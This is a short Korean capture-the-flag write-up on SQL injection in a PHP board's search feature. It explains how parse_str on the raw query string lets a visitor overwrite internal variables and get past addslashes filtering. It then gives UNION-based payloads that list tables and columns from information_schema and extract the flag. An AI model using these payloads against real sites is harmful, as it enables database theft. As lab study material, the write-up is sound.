SQLi 문제이다.
간단하게 게시판을 확인할 수 있다.
게시글을 검색하는 기능을 확인할 수 있었다.
아래의 링크를 따라 소스코드를 확인해보자.
블라블라~
$_SERVER['QUERY_STRING'] 은 PHP에서 클라이언트 측에서 보낸 쿼리스트링 값을 얻어온다.
ex) title=Main_page&action=raw
parse_str()는 PHP에서 쿼리스트링을 변수로 자동으로 저장해주는 함수이다.
(https://zetawiki.com/wiki/PHP_%EC%BF%BC%EB%A6%AC%EC%8A%A4%ED%8A%B8%EB%A7%81%EC%9D%84_%EB%B3%80%EC%88%98%EB%A1%9C_%EB%B3%80%ED%99%98_parse_str())
이를 잘 활용하면, 내가 원하는 변수에 임의의 쿼리를 넣어 필터링을 우회하여 SQL injection을 시도할 수 있을 것이다.
cols 배열의 값들 중 subject, content, writer 같은 값이 들어있지 않으면, 값이 초기화된다.
cols 배열의 값들 중 해당 값이 들어가있으면, keyword로 전달된 변수 값이 쿼리에 들어가게된다.
keyword로 전달된 변수는 addslash 함수로 필터링되어있기 때문에 이 로직을 타지 않도록 해야하며,
parse_str($_SERVER['QUERY_STRING']) 함수를 악용하여 임의의 쿼리를 강제로 삽입해야 하는게 포인트가 될 것이다.
....
Payload는 다음과 같다.
?search_cols=subjectabcd&query_parts=1=0+union+select+2,3,4,5&operator=or |
-테이블을 뽑아보자 ?search_cols=subjectabcd&query_parts=1=0+union+select+table_name,2,3,4+from+information_schema.tables+where+table_type=0x62617365207461626c65&operator=or |
-컬럼을 뽑아보자. ?search_cols=subjectabcd&query_parts=1=0+union+select+column_name,2,3,4+from+information_schema.columns+where+table_name=0x546831735f31735f466c61675f74626c&operator=or |
-FLAG 값을 뽑아보자. ?search_cols=subjectabcd&query_parts=1=0+union+select+f1ag,2,3,4+from+Th1s_1s_Flag_tbl&operator=or |
**POINT : 정규표현식에 대한 이해가 있는지?
parse_str($_SERVER['QUERY_STRING'])에 대한 이해가 있는지?